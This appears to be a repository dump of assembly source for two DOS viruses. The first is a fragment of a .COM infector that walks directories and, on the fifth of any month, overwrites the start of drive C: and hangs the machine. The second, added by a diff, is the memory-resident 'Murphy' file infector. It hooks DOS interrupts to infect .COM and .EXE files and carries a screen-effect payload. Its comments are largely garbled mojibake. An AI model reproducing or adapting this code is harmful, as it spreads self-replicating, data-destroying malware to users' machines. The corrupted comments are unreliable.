lea dx,(buffa+1eh+si)
int 21h
jc lexit
mov ds:[handle+si],ax
movepoint: mov ah,42h ; mov ax,4202h
mov al,02h ; (move to end of file)
call bx_ds ; handle stuff
mov cx,cxequals
mov dx,dxequals
int 21h
jc lclose ; was there an error?
jmp checkmark ; if not, continue
lclose: jmp close ; long close to short close
checkmark: mov ah,3fh ; read in the first
call bx_ds
call cx_em ; see if already infected
lea dx,(firsties+si) ; so we read in the first
int 21h ; bytes to our buffa
jc lclose
lea di,(tag+si) ; read in our tag
lea ax,(firsties+si) ; does it match?
call xchg_it
call cx_em
compare: cmpsb
jnz infect ; if so, then
loop compare ; just go ahead
call xchg_it ; to hunt down
jmp next_file ; the next file
infect: call xchg_it
mov ah,42h ; move to start of file
mov al,00h
call bx_ds
sub cx,cx ; mov cx,0 xor cx,cx
cwd ; xor dx,dx sub dx,dx
int 21h
jc lclose
mov ah,3fh ; this time, read in
call bx_ds
lea dx,(oldstart+si) ; (saving in 'oldstart')
call cx_four ; the first four bytes
int 21h
jc lclose
mov ah,42h ; now, move to end of file
mov al,02h
call bx_ds
sub cx,cx ; xor cx,cx etc. etc.
cwd ; xor dx,dx etc. etc.
int 21h
jc lclose
sub ax,3h
mov word ptr ds:[jump+1+si],ax
call write_us ; call to write our code
mov ah,42h ; move to start of file
mov al,00h
call bx_ds
sub cx,cx
cwd
int 21h
call write_em ; write to file
call bx_ds
call cx_three ; 3 bytes
lea dx,(jump+si) ; our own 'JMP'
int 21h
call change_dir ; change directory
lea dx,(rootoz+si) ; to root
int 21h
jmp close ; now, close the file
next_dir: cmp ds:[diroz],15 ; are we thrue with atleast
je exit ; 15 directories yet? exit!
mov ah,1ah ; Set the DTA to our
lea dx,(buffatwo+si) ; second '60 dup (0)' buffa
int 21h
call change_dir ; Change directory
call root_dir ; to the root
cmp byte ptr ds:[rock+si],00h ; Is 'rock' still zero?
jne nextdir2 ; If not, get next 'DIR'
mov byte ptr ds:[rock+si],0ffh ; Now set the 'flag'
lea dx,(searchzwei+si) ; and start to look for
sub cx,cx ; dir's instead
mov bx,cx
mov cl,10h
call find_first ; find first of 'em
jc exit ; error? outa here!
jmp chdir ; otherwise, get that DIR
nextdir2: call find_next ; find next DIR
jc exit ; error, none left? exit!
inc ds:[diroz+si] ; increase the flag to
; tell we've found a DIR.
chdir: call change_dir ; change to that DIR
lea dx,(buffatwo+1eh+si) ; we've just found
int 21h
jmp setdta ; now, set the DTA again
close: call close_em ; close everything
runold: mov ah,2ah ; date date
int 21h
cmp dl,5 ; fifth of any month?
jne mov_jmp ; if not, outa here
mov al,2 ; C:
mov cx,256 ; 256
cwd ; starting w/the boot
int 26h ; direct diskwrite
jmp $ ; hang computer
mov_jmp:
mov ax,0100h ; and run the org. proggy
jmp ax
next_file: call close_em ; call to close the file
call find_next ; call to find next file
jc next_dir ; if none found, change
; directory
jmp openup ; else, open and infect
exit: mov ah,3bh ;call change_dir
lea dx,(origindir+si) ; offset 'current'
int 21h
jmp runold ; and run the org. proggy
oldstart: mov ah,4ch
int 21h
jump db 0e9h,0,0 ; our 'jmp'
virusname db ' MULTiPLEX '
rock db 00h
c_author db '(c) 1994 Metal Militia'
rootdiroz db '\',00h
grouporigin db 'Immortal Riot, Sweden'
searchzwei db '*. ',00h
greetings db 'Somewhere, somehow, always :)'
searchein db '*.com',00h
write_us: call write_em ; write to file
call bx_ds
mov cx,lengthovir ; our viruscode
lea dx,(mejntwo+si)
int 21h
ret
handle dw 0h
close_em: mov ah,3eh ; close file
call bx_ds
int 21h
ret
origindir db 64 dup (0) ; buffer where we save our original dir.
change_dir: mov ah,3bh ; change dir
ret
root_dir: lea dx,(rootdiroz+si) ; when changing to the 'root'
int 21h
ret
find_first:
mov ah,4eh ; find first file
jmp int_em
restore_two:
mov ds:[0100h],ax ; restore old first
mov ds:[0102h],cx ; 2/2
ret
int_em:
int 21h
ret
buffa db 60h dup (0)
xchg_it: xchg si,ax
ret
buffatwo db 60h dup (0)
find_next:
mov ah,4fh ; find next file
jmp int_em
firsties db 5 dup (?) ; Buffer for the first five org. bytes
bx_ds:
mov bx,ds:[handle+si]
ret
write_em: mov ah,40h ; Write to file
ret
cx_em: mov cx,05h
ret
diroz dw 0h
cx_three: mov cx,3
ret
cx_four: mov cx,4
ret
restore_one: mov ax,word ptr ds:[oldstart+si] ; restore old first
mov cx,word ptr ds:[oldstart+si+2] ; 1/2
ret
tag db 'ImRio' ; My lil' DIGITAL GRAFITTI
rootoz db '\' ; when changing to root
cxequals equ 0ffffh
dxequals equ 0fffbh
code ends
end start_o_virus

View File

@ -0,0 +1,820 @@
;
; dynamic self loader
;
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;
; SYSTEM INFECTOR
;
;
; Version 4.00 - Copywrite (c) 1989 by L.Mateew & Jany Brankow
;
; All rights reserved.
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
page ,132
title SYSTEM INFECTOR
comp13 = offset kt1 - offset org13
comp21 = offset kt1 - offset new21
compbuff = offset kt1 - offset buffer
compbuff1 = offset kt1 - offset buffer1
comp_code = offset kt1 - offset my_code
vir_length = offset endpr - offset entry_point
Cred = offset virus - offset credits
code segment ; ­ © - ¢ ¦­¨¿ ±¥£¬¥­² !!!
assume cs:code ; ¨­¨¶¨ «¨§¨° ­¥ ­  CS
org 100h ; ­ · «¥­  ¤°¥± ­  ¯°®£° ¬ ² 
entry_point: ; ¢µ®¤­  ²®·ª 
jmp point1 ; ±ª®ª ¢ ¯°®£° ¬ ²  §  ³±² ­®¢¿¢ ­¥ ­  ¢¨°³± 
buffer db 18h dup (0c3h) ; ·¥²¨°¨ ¯® RET
buffer1 db 4 dup (0c3h) ; ²°¨ ¯® RET
my_code dw ?
time dw ?
date dw ?
old_len dd ?
new21 dd ? ; ¬¿±²® §  ­®¢¨¿ ¢¥ª²®°
old24 dd ?
org13 dd ?
old13 dd ?
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;
; ‡  ­¥§ ª®­­® ª®¯¨° ­¥ ¹¥ ®²¨¤¥²¥ ¢ § ²¢®°  !
;
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
credits:
db ' It''s me - Murphy. '
db ' Copywrite (c)1990 by Lubo &'
db ' Ian, Sofia, USM Laboratory. '
virus proc near ;
call time_kill ; ¯°®¢¥°ª  §  ¤ ²  ¨ · ±
cmp ax,4b00h+'M' ; „Ž‘ ´³­ª¶¨¿ EXEC ?
jnz @05
push bp
mov bp,sp
and word ptr [bp+6],0fffeh
pop bp
iret
@05:
cmp ah,4bh ; „Ž‘ ´³­ª¶¨¿ EXEC ?
jz p0
cmp ax,3d00h ; „Ž‘ ´³­ª¶¨¿ OPEN ?
jz p0 ; ¤  !
cmp ax,6c00h ; ¯°®¢¥°ª  §  DOS Fn 6C
jnz @04 ; ¨¬  ¨ ¤°³£ ­ ·¨­
cmp bl,0 ; ­®°¬ «­® ®²¢ °¿­¥
jz p0 ; § ° §¿¢ ­¥
@04:
jmp do_not_bite ; ­¥ - ¯°¥µ®¤ ªº¬ ±² °¨¿ ¢¥ª²®°
p0: ;
push es ; § ¯ §¢ ­¥ ­  ES ,
push ds ; DS ,
push di ; DI ,
push si ; SI ,
push bp ; BP ,
push dx ; DX ,
push cx ; CX ,
push bx ; BX ,
push ax ; ¨ AX
call ints_on
call ints_off
cmp ax,6c00h ; ¯°®¢¥°ª  §  OPEN
jnz kt6 ; ¯°¥±ª · ­¥
mov dx,si ; ¡¥§ ¤³¬¨
kt6:
mov cx,80h ; ¬ ª±¨¬ «­  ¤º«¦¨­  ­  ´ ©«®¢ ² 
mov si,dx ; ±¯¥¶¨´¨ª ¶¨¿
while_null: ;
inc si ; ¯®«³· ¢ ­¥ ­ 
mov al,byte ptr ds:[si] ; ´ ©«®¢ ² 
or al,al ; ±¯¥¶¨´¨ª ¶¨¿
loopne while_null ; ª° © ­  ASCIIZ ?
sub si,02h ; 2 ±¨¬¢®«  ­ § ¤
cmp word ptr ds:[si],'MO' ; ¯°®¢¥°ª  §  .COM - ´ ©«
jz @03
cmp word ptr ds:[si],'EX'
jz @06
go_away:
jmp @01 ; ¦ «ª® -> no_ill_it
@06:
cmp word ptr ds:[si-2],'E.' ;
jz go_forward ;
jmp short go_away
@03:
cmp word ptr ds:[si-2],'C.' ; ®¹¥ ­¨¹® ­¥ ¥ § £³¡¥­®...
jnz go_away ; .COM ´ ©«
go_forward: ;
mov ax,3d02h ; „Ž‘ ´³­ª¶¨¿ 3d /®²¢ °¿­¥ ­  ´ ©«/ - °¥¦¨¬ ­  ¤®±²º¯ 010b - ·¥²¥­¥ ¨ § ¯¨±
call int_21 ; ¢°º¹  ´ ©«®¢¨¿ ¬ ­¨¯³« ²®° ¢ AX  ª® CF = 0
jc @01 ;
mov bx,ax ; § ¯ §¢ ­¥ ­  ´ ©«®¢¨¿ ¬ ­¨¯³« ²®° ¢ BX
mov ax,5700h ;
call int_21 ;
mov cs:[time],cx ;
mov cs:[date],dx ;
mov ax,4200h ; „Ž‘ ´³­ª¶¨¿ 42
xor cx,cx ; ­³«¨° ­¥ ­  CX
xor dx,dx ; ³±² ­®¢¿¢ ­¥ ­  ³ª § ²¥«¿ ¢ ­ · «®²® ­  ´ ©« 
call int_21 ; INT 21
push cs ; ³±² ­®¢¿¢ ­¥
pop ds ; DS := CS
mov dx,offset buffer ; ¨§·¨±«¿¢ ­¥ ­   ¤°¥±  ­  buffer
mov si,dx
mov cx,0018h ; ¸¥±² ¡ ©² 
mov ah,3fh ; „Ž‘ ´³­ª¶¨¿ 3FH /·¥²¥­¥ ®² ´ ©«/
call int_21 ; ¯°®·¨² ­¥ ­  ¯º°¢¨²¥ 8 ¡ ©²  ¢ buffer
jc close_file
cmp word ptr ds:[si],'ZM'
jnz @07
call exe_file
jmp short close_file
@07:
call com_file
close_file:
jc skip_restore_date
mov ax,5701h
mov cx,cs:[time]
mov dx,cs:[date]
call int_21
skip_restore_date:
mov ah,3eh ; „Ž‘ ´³­ª¶¨¿ 3E - § ²¢ °¿­¥ ­  ´ ©«
call int_21 ; INT 21
@01:
call ints_off
pop ax ; ¢º§±² ­®¢¿¢ ­¥ ­  AX ,
pop bx ; BX ,
pop cx ; CX ,
pop dx ; DX ,
pop bp ; BP ,
pop si ; SI ,
pop di ; DI ,
pop ds ; DS ,
pop es ; ES
do_not_bite:
jmp dword ptr cs:[new21] ; ¯°¥µ®¤ ªº¬ ±² °¨¿ ¢¥ª²®°
virus endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;
; Subroutine for .EXE file
;
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
exe_file proc near
mov cx,word ptr ds:[si+16h] ; § °¥¦¤ ­¥ ­  ®²¬¥±²¢ ­¥²® ­  CS ¡ ¯ ° £° ´¨
add cx,word ptr ds:[si+08h] ; ±º¡¨° ­¥ ­  ¯°¥´¨ª±  (¢ ¯ ° £° ´¨) ± ­¥£®
mov ax,10h
mul cx ; ³¬­®¦ ¢ ¬¥ £¨ ± 10h ¨ ¯®«³· ¢ ¬¥
add ax,word ptr ds:[si+14h] ;  ¡±®«¾²­®²® ®²¬¥±²¢ ­¥ ­ 
adc dx,0 ; ¢µ®¤­ ²  ²®·ª  ª ²® ±º¡¨° ¬¥ ¨ IP
push dx ; § ¯ §¢ ¬¥ £¨ ¢ ±²¥ª  §  ¯®-­ ² ²ºª
push ax
mov ax,4202h ; µ¢ ²ª  §  ¯®«³· ¢ ­¥
xor cx,cx
xor dx,dx ; ­  ¤º«¦¨­ ²  ­ 
call int_21 ; ´ ©«  ¢ DX:AX
cmp dx,0
jnz go_out ; ¯°®¢¥°ª  §  ¤º«¦¨­ ²  ­ 
cmp ax,vir_length ; ´ ©«  µ °¥± ­ ®² ¢¨°³± 
jnb go_out ;  ª® ¥ ¢¥·¥ µ °¥± ­ ®² ­¥£® -
pop ax ; Go out !
pop dx
stc
ret
go_out:
mov di,ax ; § ¯ §¢ ­¥ ­  AX ¢ DI
mov bp,dx ; ¨ DX ¢ BP
pop cx ; ¨§¢ ¦¤ ¬¥ ®²¬¥±²¢ ­¥²® ­ 
sub ax,cx ; ¢µ®¤­ ²  ²®·ª  ®² ¤º«¦¨­ ²  ­  ´ ©« 
pop cx ; ¨ ¯®«³· ¢ ¬¥ ¤º«¦¨­ ²  ­ 
sbb dx,cx ; ¯°®£° ¬ ²  ±«¥¤ ¢µ®¤­ ²  ²®·ª 
cmp word ptr ds:[si+0ch],00h; ¯°®¢¥°ª  §  ®¯¶¨¿
je exitp ; /HIGH
cmp dx,0 ; ±° ¢­¿¢ ¬¥ £¨ ± ¤º«¦¨­ ²  ­  ¢¨°³± 
jne ill_it ; ¨  ª® ­  ±  ° ¢­¨ «¥¯¢ ¬¥ £® ² ¬ ¨
cmp ax,vir_length ; ².­. . . .
jne ill_it
stc
ret
ill_it:
mov dx,bp ; ¯°®·¨² ¬¥ ¤º«¦¨­ ²  ­ 
mov ax,di ; ­  ¯°®£° ¬ ² 
push dx ; push ¢ ¬¥ £¨
push ax ; §  ¯®-­ ² ²ºª
add ax,vir_length ; ±º¡¨° ¬¥ ¿ ±
adc dx,0 ; ¤º«¦¨­ ²  ­  Murphy
mov cx,512 ; ¤¥«¨¬ ¿ ­  512 ¡ ©² 
div cx
les di,dword ptr ds:[si+02h]; § °¥¦¤ ­¥ ­  ±² ° ²  ¤º«¦¨­ 
mov word ptr cs:[old_len],di; § ¯ §¢ ­¥ ¢ ²¿«®²®
mov word ptr cs:[old_len+2],es;§ ¯ §¢ ­¥ ¢ ²¿«®²®
mov word ptr ds:[si+02h],dx ; ¨ ¿ § ¯¨±¢ ¬¥
cmp dx,0
jz skip_increment
inc ax
skip_increment:
mov word ptr ds:[si+04h],ax ; ¢ ¡³´¥° 
pop ax ; ·¥²¥¬ ¤º«¦¨­ ²  ­  ´ ©« 
pop dx ; ®² ±²¥ª 
call div10h ; ¤¥«¨¬ ¿ ­  10h ¨ ¿ ¯®«³· ¢ ¬¥ ¢ AX:DX
sub ax,word ptr ds:[si+08h] ; ¨§¢ ¦¤ ¬¥ ¯°¥´¨ª± 
les di,dword ptr ds:[si+14h]; ¯°®·¨² ­¥ ­  ±² °¨²¥
mov word ptr ds:[buffer1],di; CS:IP ¨ § ¯¨±
mov word ptr ds:[buffer1+02h],es ; ¢ ²¿«®²®
mov word ptr ds:[si+14h],dx ; § ¯¨± ­  ­®¢¨¿ IP ¢ ¡³´¥° 
mov word ptr ds:[si+16h],ax ; § ¯¨± ­  ­®¢¨¿ CS ¢ ¡³´¥° 
mov word ptr ds:[my_code],ax; § ¯¨± ­  ­®¢¨¿ CS ¢º¢ ²¿«®²®
mov ax,4202h
xor cx,cx
xor dx,dx
call int_21
call paste
jc exitp
mov ax,4200h
xor cx,cx
xor dx,dx
call int_21
mov ah,40h
mov dx,si
mov cx,18h
call int_21
exitp:
ret
exe_file endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;
; Subroutine for dividing
;
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
div10h proc near
mov cx,04h
mov di,ax
and di,000fh
dividing:
shr dx,1
rcr ax,1
loop dividing
mov dx,di
ret
div10h endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;
; Subroutine for virus moving
;
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
paste proc near
mov ah,40h ; „Ž‘ ´³­ª¶¨¿ 40h /§ ¯¨± ¢º¢ ´ ©« ¨«¨ ³±²°®©±²¢®/
mov cx,vir_length ; ¨§·¨±«¿¢ ­¥ ¤º«¦¨­ ²  ­  ¢¨°³± 
mov dx,offset entry_point ; DS:DX ²°¿¡¢  ¤  ±®· ²  ¤°¥±  ­  § ¯¨± 
call ints_on ; § ®¡¨ª «¿­¥ ­  · ±®¢­¨ª  (R/W)
jmp int_21 ; § ¯¨± ¢º¢ ´ ©« 
paste endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;
; Subroutine for .COM file
;
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
com_file proc near
mov ax,4202h ; „Ž‘ ´³­ª¶¨¿ 42 /¯°¥¬¥±²¢ ­¥ ­  ²¥ª³¹¨¿ ³ª § ²¥« ¢º¢ ´ ¨«  /AL=2 - ¢ ª° ¿/
xor cx,cx ; ³±² ­®¢¿¢ ­¥ ­  °¥£¨±²°¨²¥
xor dx,dx ; CX ¨ DX / ª® CX:DX = 0 , ¢ DX:AX ±¥ ¯®«³· ¢  ¤º«¦¨­ ²  ­  ´ ©« /
call int_21 ; ³±² ­®¢¿¢ ­¥ ¢ ª° ¿ ­  ´ ©« 
cmp ax,vir_length ; ±° ¢­¿¢ ­¥ ­  ¤º«¦¨­ ²  ­  ¢¨°³± 
jb short no_ill_it ; ± ¯°®£° ¬ ²  ¨ ¯°¥µ®¤ ¢ ª° ¿  ª®
cmp ax,64000 ; ¤º«¦¨­ ²  ­  ¯°®£° ¬ ²  ¥ < ¤º«¦. ­ 
jnb short no_ill_it ; ¢¨°³±  ¨«¨ > 0ffff-¤º«¦. ­  ¢¨°³±  - 20h
push ax ; ±ºµ° ­¿¢ ­¥ ­  AX
cmp byte ptr ds:[si],0E9h ; ¯°®¢¥°ª  §  JMP ¢ ­ · «®²® ­  ¯°®£° ¬ ² 
jnz illing ; <20>¥? - Œ¥°±¨! ’®£ ¢  § ° §¿¢ ¬¥.
sub ax,vir_length + 3 ; ¯®«³· ¢ ­¥ ­  ¤º«¦¨­ ²  ­  ¯°®£° ¬ ²  ¡¥§ ¢¨°³±  /¥¢¥­²³ «­®/
cmp ax,ds:[si+1] ; ¯°®¢¥°ª  §  ¯°®£° ¬ ²  § «¥¯¥­  ¢ ª° ¿
jnz illing ; <20>¥? ...
pop ax ; ®±¢®¡®¦¤ ¢ ­¥ ­  ±²¥ª 
stc
ret
illing:
call paste
jnc skip_paste
pop ax
ret
skip_paste:
mov ax,4200h ; „Ž‘ ´³­ª¶¨¿ 42
xor cx,cx ; ­³«¨° ­¥ ­  CX
xor dx,dx ; ³±² ­®¢¿¢ ­¥ ­  ³ª § ²¥«¿ ¢ ­ · «®²® ­  ´ ©« 
call int_21 ; ¨§¯º«­¥­¨¥ ­  ´³­ª¶¨¿² 
pop ax ; ·¥²¥­¥ ­  AX
sub ax,03h ; ¨§·¨±«¿¢ ­¥ ­  ®¯¥° ­¤  ­  JMP- 
mov dx,offset buffer1 ; § ¤ ¢ ­¥ ­   ¤°¥±  ­  § ¯¨±  ¢ DS:DX
mov si,dx
mov byte ptr cs:[si],0e9h ; § ¯¨± ­  09H (JMP) ¢ ­ · «®²® ­  ´ ©« 
mov word ptr cs:[si+1],ax ; ®¯¥° ­¤  ­  JMP-  ¢ ¯®«¥²® §  § ¯¨±
mov ah,40h ; „Ž‘ ´³­ª¶¨¿ 40h /§ ¯¨± ¢º¢ ´ ©« ¨«¨ ³±²°®©±²¢®/
mov cx,3 ; § ¯¨± ± ¬® ­  3 ¡ ©² 
call int_21 ; ¨§¯º«­¥­¨¥ ­  ´³­ª¶¨¿² 
no_ill_it:
ret
com_file endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;
; Subroutine for calling of an 'int 21h'
;
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
int_21 proc near
pushf
call dword ptr [new21]
ret
int_21 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;
; This subroutine changes the int 24h vector to me
;
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
ints_on proc near
push ax
push ds
push es
xor ax,ax
push ax
pop ds
cli
les ax,dword ptr ds:[24h*4]
mov word ptr cs:[old24],ax
mov word ptr cs:[old24+2],es
mov ax,offset int_24
mov word ptr ds:[24h*4],ax
mov word ptr ds:[24h*4+2],cs
les ax,dword ptr ds:[13h*4]
mov word ptr cs:[old13],ax
mov word ptr cs:[old13+2],es
les ax,dword ptr cs:[org13]
mov word ptr ds:[13h*4],ax
mov word ptr ds:[13h*4+2],es
sti
pop es
pop ds
pop ax
ret
ints_on endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;
; This subroutine restores the int 24h vector
;
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
ints_off proc near
push ax
push ds
push es
xor ax,ax
push ax
pop ds
cli
les ax,dword ptr cs:[old24]
mov word ptr ds:[24h*4],ax
mov word ptr ds:[24h*4+2],es
les ax,dword ptr cs:[old13]
mov word ptr ds:[13h*4],ax
mov word ptr ds:[13h*4+2],es
sti
pop es
pop ds
pop ax
ret
ints_off endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;
; This subroutine works the int 24h
;
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
int_24 proc far
mov al,3
iret
int_24 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;
; Œ ©² ¯ ± ¡¥§§ ¹¨²­¨²¥ µ®°¨¶ 
;
;
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
joke proc far
push ax ; § ¯ §¢ ­¥
push bx
push cx ; ­ 
push dx
push si
push di
push bp
push ds ; °¥£¨±²°¨²¥
push es
xor ax,ax
push ax
pop ds
mov bh,ds:[462h]
mov ax,ds:[450h]
mov cs:[old_pos],ax
mov ax,cs:[pos_value]
mov word ptr ds:[450h],ax
mov ax,word ptr cs:[spot_buff]
mov bl,ah
mov ah,09h
mov cx,1
int 10h
call change_pos
call push_spot
mov ax,cs:pos_value
mov word ptr ds:[450h],ax
mov bl,07h
mov ax,0907h
mov cx,1
int 10h
mov ax,cs:[old_pos]
mov ds:[450h],ax
pop es
pop ds
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
jmp dword ptr cs:[old_1ch]
spot_buff dw ?
pos_value dw 1010h
direction db 0
old_1ch dd ?
old_pos dw ?
change_pos proc near
mov ax,cs:[pos_value]
mov bx,word ptr ds:[44ah]
dec bx
test cs:[direction],00000001b
jz @001
cmp al,bl
jb @002
xor cs:[direction],00000001b
jmp short @002
@001:
cmp al,0
jg @002
xor cs:[direction],00000001b
@002:
test cs:[direction],00000010b
jz @003
cmp ah,24
jb @005
xor cs:[direction],00000010b
jmp short @005
@003:
cmp ah,0
jg @005
xor cs:[direction],00000010b
@005:
cmp byte ptr cs:spot_buff,20h
je skip_let
cmp byte ptr cs:[pos_value+1],0
je skip_let
xor cs:[direction],00000010b
skip_let:
test cs:[direction],00000001b
jz @006
inc byte ptr cs:[pos_value]
jmp short @007
@006:
dec byte ptr cs:[pos_value]
@007:
test cs:[direction],00000010b
jz @008
inc byte ptr cs:[pos_value+1]
jmp short @009
@008:
dec byte ptr cs:[pos_value+1]
@009:
ret
change_pos endp
push_spot proc near
mov ax,cs:[pos_value]
mov word ptr ds:[450h],ax
mov bh,ds:[462h]
mov ah,08h
int 10h
mov word ptr cs:[spot_buff],ax
ret
push_spot endp
joke endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;
; Subroutine for check current time
;
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
time_kill proc near ;
push ax ; § ¯ §¢ ­¥
push bx
push cx ; ­ 
push dx
push si
push di
push bp
push ds ; °¥£¨±²°¨²¥
push es
xor ax,ax ; ¯®«³· ¢ ­¥ ­ 
push ax
pop ds
cmp word ptr ds:[1Ch*4],offset joke
je next_way
mov ax,ds:[46ch]
mov dx,ds:[46ch+2]
mov cx,0ffffh
div cx
cmp ax,10
jne next_way
cli
mov bp,word ptr ds:[450h]
call push_spot
mov ds:[450h],bp
les ax,ds:[1ch*4]
mov word ptr cs:[old_1ch],ax
mov word ptr cs:[old_1ch+2],es
mov word ptr ds:[1Ch*4],offset joke
mov word ptr ds:[1Ch*4+2],cs
sti
next_way:
pop es
pop ds
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
ret
time_kill endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;
; Subroutine for multiplication
;
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_10 proc near
mov dx,10h
mul dx ; dx:ax = reg * ax
ret
sub_10 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;
; ? ? ? ? ? ? ? ?
;
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
zero_regs proc near
xor ax,ax
xor bx,bx
xor cx,cx
xor dx,dx
xor si,si
xor di,di
xor bp,bp
ret
zero_regs endp
point1: ;
push ds
call kt1 ; ²°¨ª § 
kt1: ; ¨§·¨±«¿¢ ­¥ ­  ®²¬¥±²¢ ­¥²®
mov ax,4b00h + 'M' ; ­  kt1
int 21h
jc stay
jmp go_to_program ;
stay: ;
pop si ;
push si ;
mov di,si ;
xor ax,ax ; Zero register
push ax ;
pop ds ;
les ax,ds:[13h*4] ; (0000:004C=6E5h) Load 32 bit ptr
mov cs:[si-comp13],ax ; (64BB:06F4=9090h)
mov cs:[si-comp13+2],es ; (64BB:06F6=9090h)
les bx,ds:[21h*4]
mov word ptr cs:[di-comp21],bx ; ®²¬¥±²¢ ­¥
mov word ptr cs:[di-comp21+2],es ; ±¥£¬¥­²
mov ax,ds:[102h] ; (0000:0102=0F000h)
cmp ax,0F000h
jne loc_14 ; Jump if not equal
mov dl,80h
mov ax,ds:[106h] ; (0000:0106=0C800h)
cmp ax,0F000h
je loc_7 ; Jump if equal
cmp ah,0C8h
jb loc_14 ; Jump if below
cmp ah,0F4h
jae loc_14 ; Jump if above or =
test al,7Fh ; ''
jnz loc_14 ; Jump if not zero
mov ds,ax
cmp word ptr ds:[0],0AA55h ; (C800:0000=0AA55h)
jne loc_14 ; Jump if not equal
mov dl,ds:[02h] ; (C800:0002=10h)
loc_7:
mov ds,ax
xor dh,dh ; Zero register
mov cl,9
shl dx,cl ; Shift w/zeros fill
mov cx,dx
xor si,si ; Zero register
locloop_8:
lodsw ; String [si] to ax
cmp ax,0FA80h
jne loc_9 ; Jump if not equal
lodsw ; String [si] to ax
cmp ax,7380h
je loc_10 ; Jump if equal
jnz loc_11 ; Jump if not zero
loc_9:
cmp ax,0C2F6h
jne loc_12 ; Jump if not equal
lodsw ; String [si] to ax
cmp ax,7580h
jne loc_11 ; Jump if not equal
loc_10:
inc si
lodsw ; String [si] to ax
cmp ax,40CDh
je loc_13 ; Jump if equal
sub si,3
loc_11:
dec si
dec si
loc_12:
dec si
loop locloop_8 ; Loop if cx > 0
jmp short loc_14
loc_13:
sub si,7
mov cs:[di-comp13],si ; (64BB:06F4=9090h)
mov cs:[di-comp13+2],ds ; (64BB:06F6=9090h)
loc_14:
mov ah,62h
int 21h
mov es,bx
mov ah,49h ; 'I'
int 21h ; DOS Services ah=function 49h,
; release memory block, es=seg
mov bx,0FFFFh
mov ah,48h ; 'H'
int 21h ; DOS Services ah=function 48h,
; allocate memory, bx=bytes/16
sub bx,vir_length/10h+2
jc go_to_program ; Jump if carry Set
mov cx,es
stc ; Set carry flag
adc cx,bx
mov ah,4Ah ; 'J'
int 21h ; DOS Services ah=function 4Ah,
; change mem allocation, bx=siz
mov bx,vir_length/10h+1
stc ; Set carry flag
sbb es:[02h],bx ; (FF95:0002=0B8CFh)
push es
mov es,cx
mov ah,4Ah ; 'J'
int 21h ; DOS Services ah=function 4Ah,
; change mem allocation, bx=siz
mov ax,es
dec ax
mov ds,ax
mov word ptr ds:[01h],08h ; (FEAD:0001=1906h)
call sub_10
mov bx,ax
mov cx,dx
pop ds
mov ax,ds
call sub_10
